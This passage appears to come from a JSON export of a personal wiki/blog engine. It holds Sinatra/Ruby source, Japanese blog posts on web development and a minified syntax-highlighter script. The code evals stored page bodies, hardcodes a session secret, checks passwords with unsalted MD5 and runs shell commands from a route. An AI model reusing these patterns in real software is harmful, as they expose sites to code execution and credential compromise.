/^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:34:38.000Z","updated_at":"2014-03-12T07:34:38.000Z"},{"id":2629,"name":"reindex","body":"ruby\r\n\r\nGroonga['Pages'].select.each{|x| Groonga['Pages'].delete x._key}\r\n\r\nPage.select('distinct name').each{|x|\r\n p = Page.where(name: x.name).order('id desc').first\r\n key = Digest::MD5.hexdigest(p.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = p.name\r\n Groonga['Pages'][key].text = p.body\r\n Groonga['Pages'][key].page_id = Page.where(name: x.name).order('id asc').first.id\r\n Groonga['Pages'][key].created_at = p.created_at.to_i\r\n}\r\nDir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n\"success\"","created_at":"2014-03-12T07:47:39.000Z","updated_at":"2014-03-12T07:47:39.000Z"},{"id":2630,"name":"text/JavaScript を最下段で読み込むのがあまり有効ではない","body":"%blog% JavaScript を最下段で読み込むのがあまり有効ではない理由\r\n\r\nこの辺主観も混ってくるところではあるんですが。\r\n\r\n### JavaScript を上の方で読み込んだ場合\r\nJavaScript の読み込みが終わるまでレンダリングされない\r\n\r\n### JavaScript を下の方で読み込んだ場合\r\nJavaScript の読み込み前にレンダリングは終わるが、 JavaScript が読み込まれるまでウオッなんかスクロールガクガクする!!スクロールできねえ!!!みたいになりがち\r\n\r\nスクロールしなくてもコンテンツが表示されるようなサイトでは下で読み込むアプローチは有効でしょう。しかしながらユーザーがレイアウトを変えられるようなサイトだったり長文コンテンツが沢山出るような可能性が高いサイト(具体的にははてなブログ)などで「スクロールしないとコンテンツが出てこない可能性が十分に高い」場合はかえってユーザビリティを阻害する可能性があります。\r\n\r\nユーザーは経験的に数秒待てばコンテンツが表示されることが分かっているのでそこは待てますが、コンテンツが出てから数秒スクロール出来ないみたいのはかえってイライラさせることになると思うのです。というか俺はイライラするんだよ糞。","created_at":"2014-03-14T04:06:52.000Z","updated_at":"2014-03-14T04:06:52.000Z"},{"id":2631,"name":"text/プログラミングの生産性を上げるために","body":"%blog% プログラミングの生産性を上げるために何をすればよいか\r\n\r\nあんまそういうこと気にしないで黙ってコード書きまくるといいです。それで限界が見えてきたらいろいろそういう方面のことを勉強しましょう。","created_at":"2014-03-15T09:48:40.000Z","updated_at":"2014-03-15T09:48:40.000Z"},{"id":2632,"name":"text/Capybara WebKit でサブドメインのテスト","body":"%blog% Capybara WebKit でサブドメインを使ったサイトをテストする\r\n\r\nという地獄の話です。\r\n\r\nspec_helper.rb に以下のようなことを書きます。\r\n\r\n``` ruby\r\ns = TCPServer.open(0)\r\nCAPYBARA_PORT = s.addr[1]\r\ns.close \r\nCapybara.server_port = CAPYBARA_PORT\r\n```\r\n\r\nテストの中では以下のようにします。\r\n\r\n``` ruby\r\n# サブドメインつかない時のテスト\r\nCapybara.app_host = \"http://localhost:#{CAPYBARA_PORT}\"\r\nvisit '/hogehoge'\r\n\r\n# サブドメインでのテスト\r\nCapybara.app_host = \"http://subdomain.localhost:#{CAPYBARA_PORT}\"\r\nvisit '/hogehoge'\r\n```","created_at":"2014-03-21T04:04:33.000Z","updated_at":"2014-03-21T04:04:33.000Z"},{"id":2633,"name":"text/Gunosy 共同代表への質問","body":"%blog%\r\n\r\nわりと真面目にした発言なので(流行に便乗し)参照しやすいようにまとめておく。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"https://twitter.com/shinzizm\"\u003e@shinzizm\u003c/a\u003e スマートニュースが公衆からの求めに応じ、送信可能化された情報に係る送信元識別符号を検索し、及びその結果を提供することを業として行う者 に該当しないと考える根拠はなんでしょうか、正直競合への悪質な FUD を流布しているとしか思えない発言ですが。\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/446488899674578944\"\u003eMarch 20, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e公衆からの求めに応じ、送信可能化された情報に係る送信元識別符号を検索し、及びその結果を提供すること の範囲をわざわざ狭めるようなこと言う必要ないと思うんですよ\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/446489445781348352\"\u003eMarch 20, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eていうかさ、アプリの使い易さとか、そういうことで勝負すればいいんであって「この競合サービスは違法です」なんて刺し方してそれで本当に刺さっちゃったら、相手も同じ刺し方してくるに決まってんじゃん、そんなことやったら市場ごと壊滅して誰も幸せにならないでしょう。\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/446491274124595201\"\u003eMarch 20, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-03-22T04:20:42.000Z","updated_at":"2014-03-22T04:20:42.000Z"},{"id":2634,"name":"text/Rails でサブドメイン","body":"%blog% Ruby On Rails でサブドメインを使った Web サイトを作る\r\n\r\nという地獄の話です。\r\n\r\n### 基本的な部分\r\n``` ruby\r\n# config/initializers/session_store.rb\r\nHogehoge::Application.config.session_store :cookie_store, domain: \".#{ENV['DOMAIN']}\", key: '_hogehoghoge'\r\n```\r\n\r\nというような感じにする。アプリを起動する時に環境変数でドメインを指定する。 .#{ドメイン} と cookie のドメインを指定しておくことでサブドメインでもクッキー共有できるようにする。クッキー共有したくないならこうしない。 ./bin/rails server とかを使うなら、この場合 localhost としてアプリが起動するのだから、\r\n\r\n``` sh\r\nDOMAIN=localhost ./bin/rails server\r\n```\r\n\r\nとかする。 hoge.localhost とかで名前解決出来るように hosts ファイルをいい感じに書くか、 dnsmasq などを使って開発用の DNS サーバーを立てる。\r\n\r\n### ルーティング\r\n``` る\r\ndef sub_domain? req\r\n if req.subdomain.blank?\r\n return false\r\n else\r\n if req.subdomain == 'www' # www はサブドメインアクセスと見做さないとかならこうする\r\n return true\r\n else\r\n domain = \"#{req.subdomain}.#{req.domain}\"\r\n return domain == ENV['DOMAIN']\r\n end\r\n end\r\nend\r\n```\r\n\r\nというようなものを route.rb に書いて、以下のように使う。\r\n\r\n``` ruby\r\n# サブドメインじゃないページで表示したいもの\r\nmatch '/', to: 'hoge#fuga_action', constraints: lambda { |r| !sub_domain?(r) }, via: [:get] \r\n# サブドメインなページで表示したいもの\r\nmatch '/', to: 'for_subdomain#fuga_action', constraints: lambda { |r| sub_domain?(r) }, via: [:get]\r\n```\r\n\r\nドメインごとにふりわけとかしたい場合は頑張ってください。\r\n\r\n### テスト\r\nコントローラに対してテストを書きたい場合には以下のようにする。\r\n\r\n``` ruby\r\ncontroller.request.stub(:subdomain).and_return(\"subdomain\")\r\n```\r\n\r\nCapybara を使って実際のユースケースを模倣したようなテストを書く時には Capybara.app_host を随時上書きして頑張る。 Capybara WebKit を使いたいときは[こちら]を読んでください。\r\n\r\n### 本質的な解決策\r\n複数の Rails アプリに分割し、 OpenID などを用いて連携することが出来ないかを考えるのもよいアイディアだと思う。 cookie の domain を設定してサブドメインとも cookie を共有することまでは難しくないが、ルーティングの記述やテストなどでだるいことが多すぎるので。\r\n\r\nサブドメインを使ったアプリを単独の Rails アプリとして作成することは大変に困難がともなう。とても辛い。基本的にやらないほうがよい。サブドメインを使うことを止めるというのはいいアイディアだと思う。","created_at":"2014-03-22T07:05:30.000Z","updated_at":"2014-03-22T07:05:30.000Z"},{"id":2635,"name":"sh_main.min.js","body":"raw\r\nmime js\r\n/* Copyright (C) 2007, 2008 gnombat@users.sourceforge.net */\r\n/* License: http://shjs.sourceforge.net/doc/gplv3.html */\r\n\r\nif(!this.sh_languages){this.sh_languages={}}var sh_requests={};function sh_isEmailAddress(a){if(/^mailto:/.test(a)){return false}return a.indexOf(\"@\")!==-1}function sh_setHref(b,c,d){var a=d.substring(b[c-2].pos,b[c-1].pos);if(a.length\u003e=2\u0026\u0026a.charAt(0)===\"\u003c\"\u0026\u0026a.charAt(a.length-1)===\"\u003e\"){a=a.substr(1,a.length-2)}if(sh_isEmailAddress(a)){a=\"mailto:\"+a}b[c-2].node.href=a}function sh_konquerorExec(b){var a=[\"\"];a.index=b.length;a.input=b;return a}function sh_highlightString(B,o){if(/Konqueror/.test(navigator.userAgent)){if(!o.konquered){for(var F=0;F\u003co.length;F++){for(var H=0;H\u003co[F].length;H++){var G=o[F][H][0];if(G.source===\"$\"){G.exec=sh_konquerorExec}}}o.konquered=true}}var N=document.createElement(\"a\");var q=document.createElement(\"span\");var A=[];var j=0;var n=[];var C=0;var k=null;var x=function(i,a){var p=i.length;if(p===0){return}if(!a){var Q=n.length;if(Q!==0){var r=n[Q-1];if(!r[3]){a=r[1]}}}if(k!==a){if(k){A[j++]={pos:C};if(k===\"sh_url\"){sh_setHref(A,j,B)}}if(a){var P;if(a===\"sh_url\"){P=N.cloneNode(false)}else{P=q.cloneNode(false)}P.className=a;A[j++]={node:P,pos:C}}}C+=p;k=a};var t=/\\r\\n|\\r|\\n/g;t.lastIndex=0;var d=B.length;while(C\u003cd){var v=C;var l;var w;var h=t.exec(B);if(h===null){l=d;w=d}else{l=h.index;w=t.lastIndex}var g=B.substring(v,l);var M=[];for(;;){var I=C-v;var D;var y=n.length;if(y===0){D=0}else{D=n[y-1][2]}var O=o[D];var z=O.length;var m=M[D];if(!m){m=M[D]=[]}var E=null;var u=-1;for(var K=0;K\u003cz;K++){var f;if(K\u003cm.length\u0026\u0026(m[K]===null||I\u003c=m[K].index)){f=m[K]}else{var c=O[K][0];c.lastIndex=I;f=c.exec(g);m[K]=f}if(f!==null\u0026\u0026(E===null||f.index\u003cE.index)){E=f;u=K;if(f.index===I){break}}}if(E===null){x(g.substring(I),null);break}else{if(E.index\u003eI){x(g.substring(I,E.index),null)}var e=O[u];var J=e[1];var b;if(J instanceof Array){for(var L=0;L\u003cJ.length;L++){b=E[L+1];x(b,J[L])}}else{b=E[0];x(b,J)}switch(e[2]){case -1:break;case -2:n.pop();break;case -3:n.length=0;break;default:n.push(e);break}}}if(k){A[j++]={pos:C};if(k===\"sh_url\"){sh_setHref(A,j,B)}k=null}C=w}return A}function sh_getClasses(d){var a=[];var b=d.className;if(b\u0026\u0026b.length\u003e0){var e=b.split(\" \");for(var c=0;c\u003ce.length;c++){if(e[c].length\u003e0){a.push(e[c])}}}return a}function sh_addClass(c,a){var d=sh_getClasses(c);for(var b=0;b\u003cd.length;b++){if(a.toLowerCase()===d[b].toLowerCase()){return}}d.push(a);c.className=d.join(\" \")}function sh_extractTagsFromNodeList(c,a){var f=c.length;for(var d=0;d\u003cf;d++){var e=c.item(d);switch(e.nodeType){case 1:if(e.nodeName.toLowerCase()===\"br\"){var b;if(/MSIE/.test(navigator.userAgent)){b=\"\\r\"}else{b=\"\\n\"}a.text.push(b);a.pos++}else{a.tags.push({node:e.cloneNode(false),pos:a.pos});sh_extractTagsFromNodeList(e.childNodes,a);a.tags.push({pos:a.pos})}break;case 3:case 4:a.text.push(e.data);a.pos+=e.length;break}}}function sh_extractTags(c,b){var a={};a.text=[];a.tags=b;a.pos=0;sh_extractTagsFromNodeList(c.childNodes,a);return a.text.join(\"\")}function sh_mergeTags(d,f){var a=d.length;if(a===0){return f}var c=f.length;if(c===0){return d}var i=[];var e=0;var b=0;while(e\u003ca\u0026\u0026b\u003cc){var h=d[e];var g=f[b];if(h.pos\u003c=g.pos){i.push(h);e++}else{i.push(g);if(f[b+1].pos\u003c=h.pos){b++;i.push(f[b]);b++}else{i.push({pos:h.pos});f[b]={node:g.node.cloneNode(false),pos:h.pos}}}}while(e\u003ca){i.push(d[e]);e++}while(b\u003cc){i.push(f[b]);b++}return i}function sh_insertTags(k,h){var g=document;var l=document.createDocumentFragment();var e=0;var d=k.length;var b=0;var j=h.length;var c=l;while(b\u003cj||e\u003cd){var i;var a;if(e\u003cd){i=k[e];a=i.pos}else{a=j}if(a\u003c=b){if(i.node){var f=i.node;c.appendChild(f);c=f}else{c=c.parentNode}e++}else{c.appendChild(g.createTextNode(h.substring(b,a)));b=a}}return l}function sh_highlightElement(d,g){sh_addClass(d,\"sh_sourceCode\");var c=[];var e=sh_extractTags(d,c);var f=sh_highlightString(e,g);var b=sh_mergeTags(c,f);var a=sh_insertTags(b,e);while(d.hasChildNodes()){d.removeChild(d.firstChild)}d.appendChild(a)}function sh_getXMLHttpRequest(){if(window.ActiveXObject){return new ActiveXObject(\"Msxml2.XMLHTTP\")}else{if(window.XMLHttpRequest){return new XMLHttpRequest()}}throw\"No XMLHttpRequest implementation available\"}function sh_load(language,element,prefix,suffix){if(language in sh_requests){sh_requests[language].push(element);return}sh_requests[language]=[element];var request=sh_getXMLHttpRequest();var url=prefix+\"sh_\"+language+suffix;request.open(\"GET\",url,true);request.onreadystatechange=function(){if(request.readyState===4){try{if(!request.status||request.status===200){eval(request.responseText);var elements=sh_requests[language];for(var i=0;i\u003celements.length;i++){sh_highlightElement(elements[i],sh_languages[language])}}else{throw\"HTTP error: status \"+request.status}}finally{request=null}}};request.send(null)}function sh_highlightDocument(g,k){var b=document.getElementsByTagName(\"pre\");for(var e=0;e\u003cb.length;e++){var f=b.item(e);var a=sh_getClasses(f);for(var c=0;c\u003ca.length;c++){var h=a[c].toLowerCase();if(h===\"sh_sourcecode\"){continue}if(h.substr(0,3)===\"sh_\"){var d=h.substring(3);if(d in sh_languages){sh_highlightElement(f,sh_languages[d])}else{if(typeof(g)===\"string\"\u0026\u0026typeof(k)===\"string\"){sh_load(d,f,g,k)}else{throw'Found \u003cpre\u003e element with class=\"'+h+'\", but no such language exists'}}break}}}};","created_at":"2014-03-22T07:06:39.000Z","updated_at":"2014-03-22T07:06:39.000Z"},{"id":2636,"name":"sh_ext.js","body":"raw\r\nmime js\r\n\r\nif(!this.sh_languages){this.sh_languages={}}sh_languages.javascript=[[[/\\/\\/\\//g,\"sh_comment\",1],[/\\/\\//g,\"sh_comment\",7],[/\\/\\*\\*/g,\"sh_comment\",8],[/\\/\\*/g,\"sh_comment\",9],[/\\b(?:abstract|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|final|finally|for|function|goto|if|implements|in|instanceof|interface|native|new|null|private|protected|prototype|public|return|static|super|switch|synchronized|throw|throws|this|transient|true|try|typeof|var|volatile|while|with)\\b/g,\"sh_keyword\",-1],[/(\\+\\+|--|\\)|\\])(\\s*)(\\/=?(?![*\\/]))/g,[\"sh_symbol\",\"sh_normal\",\"sh_symbol\"],-1],[/(0x[A-Fa-f0-9]+|(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?)(\\s*)(\\/(?![*\\/]))/g,[\"sh_number\",\"sh_normal\",\"sh_symbol\"],-1],[/([A-Za-z$_][A-Za-z0-9$_]*\\s*)(\\/=?(?![*\\/]))/g,[\"sh_normal\",\"sh_symbol\"],-1],[/\\/(?:\\\\.|[^*\\\\\\/])(?:\\\\.|[^\\\\\\/])*\\/[gim]*/g,\"sh_regexp\",-1],[/\\b[+-]?(?:(?:0x[A-Fa-f0-9]+)|(?:(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?))u?(?:(?:int(?:8|16|32|64))|L)?\\b/g,\"sh_number\",-1],[/\"/g,\"sh_string\",10],[/'/g,\"sh_string\",11],[/~|!|%|\\^|\\*|\\(|\\)|-|\\+|=|\\[|\\]|\\\\|:|;|,|\\.|\\/|\\?|\u0026|\u003c|\u003e|\\|/g,\"sh_symbol\",-1],[/\\{|\\}/g,\"sh_cbracket\",-1],[/\\b(?:Math|Infinity|NaN|undefined|arguments)\\b/g,\"sh_predef_var\",-1],[/\\b(?:Array|Boolean|Date|Error|EvalError|Function|Number|Object|RangeError|ReferenceError|RegExp|String|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt)\\b/g,\"sh_predef_func\",-1],[/(?:[A-Za-z]|_)[A-Za-z0-9_]*(?=[ \\t]*\\()/g,\"sh_function\",-1]],[[/$/g,null,-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/\u003c\\?xml/g,\"sh_preproc\",2,1],[/\u003c!DOCTYPE/g,\"sh_preproc\",4,1],[/\u003c!--/g,\"sh_comment\",5],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)/g,\"sh_keyword\",6,1],[/\u0026(?:[A-Za-z0-9]+);/g,\"sh_preproc\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*/g,\"sh_keyword\",6,1],[/@[A-Za-z]+/g,\"sh_type\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\\?\u003e/g,\"sh_preproc\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/\\\\(?:\\\\|\")/g,null,-1],[/\"/g,\"sh_string\",-2]],[[/\u003e/g,\"sh_preproc\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/--\u003e/g,\"sh_comment\",-2],[/\u003c!--/g,\"sh_comment\",5]],[[/(?:\\/)?\u003e/g,\"sh_keyword\",-2],[/([^=\" \\t\u003e]+)([ \\t]*)(=?)/g,[\"sh_type\",\"sh_normal\",\"sh_symbol\"],-1],[/\"/g,\"sh_string\",3]],[[/$/g,null,-2]],[[/\\*\\//g,\"sh_comment\",-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/\u003c\\?xml/g,\"sh_preproc\",2,1],[/\u003c!DOCTYPE/g,\"sh_preproc\",4,1],[/\u003c!--/g,\"sh_comment\",5],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z](?:[A-Za-z0-9_:.-]*)/g,\"sh_keyword\",6,1],[/\u0026(?:[A-Za-z0-9]+);/g,\"sh_preproc\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*(?:\\/)?\u003e/g,\"sh_keyword\",-1],[/\u003c(?:\\/)?[A-Za-z][A-Za-z0-9]*/g,\"sh_keyword\",6,1],[/@[A-Za-z]+/g,\"sh_type\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\\*\\//g,\"sh_comment\",-2],[/(?:\u003c?)[A-Za-z0-9_\\.\\/\\-_~]+@[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)|(?:\u003c?)[A-Za-z0-9_]+:\\/\\/[A-Za-z0-9_\\.\\/\\-_~]+(?:\u003e?)/g,\"sh_url\",-1],[/(?:TODO|FIXME|BUG)(?:[:]?)/g,\"sh_todo\",-1]],[[/\"/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]],[[/'/g,\"sh_string\",-2],[/\\\\./g,\"sh_specialchar\",-1]]];\r\n\r\nif(!this.sh_languages){this.sh_languages={}}sh_languages.ruby=[[[/\\b(?:require)\\b/g,\"sh_preproc\",-1],[/\\b[+-]?(?:(?:0x[A-Fa-f0-9]+)|(?:(?:[\\d]*\\.)?[\\d]+(?:[eE][+-]?[\\d]+)?))u?(?:(?:int(?:8|16|32|64))|L)?\\b/g,\"sh_number\",-1],[/\"/g,\"sh_string\",1],[/'/g,\"sh_string\",2],[/\u003c/g,\"sh_string\",3],[/\\/[^\\n]*\\//g,\"sh_regexp\",-1],[/(%r)(\\{(?:\\\\\\}|#\\{[A-Za-z0-9]+\\}|[^}])*\\})/g,[\"sh_symbol\",\"sh_regexp\"],-1],[/\\b(?:alias|begin|BEGIN|break|case|defined|do|else|elsif|end|END|ensure|for|if|in|include|loop|next|raise|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield|false|nil|self|true|__FILE__|__LINE__|and|not|or|def|class|module|catch|fail|load|throw)\\b/g,\"sh_keyword\",-1],[/(?:^\\=begin)/g,\"sh_comment\",4],[/(?:\\$[#]?|@@|@)(?:[A-Za-z0-9_]+|'|\\\"|\\/)/g,\"sh_type\",-1],[/[A-Za-z0-9]+(?:\\?|!)/g,\"sh_normal\",-1],[/~|!|%|\\^|\\*|\\(|\\)|-|\\+|=|\\[|\\]|\\\\|:|;|,|\\.|\\/|\\?|\u0026|\u003c|\u003e|\\|/g,\"sh_symbol\",-1],[/(#)(\\{)/g,[\"sh_symbol\",\"sh_cbracket\"],-1],[/#/g,\"sh_comment\",5],[/\\{|\\}/g,\"sh_cbracket\",-1]],[[/$/g,null,-2],[/\\\\(?:\\\\|\")/g,null,-1],[/\"/g,\"sh_string\",-2]],[[/$/g,null,-2],[/\\\\(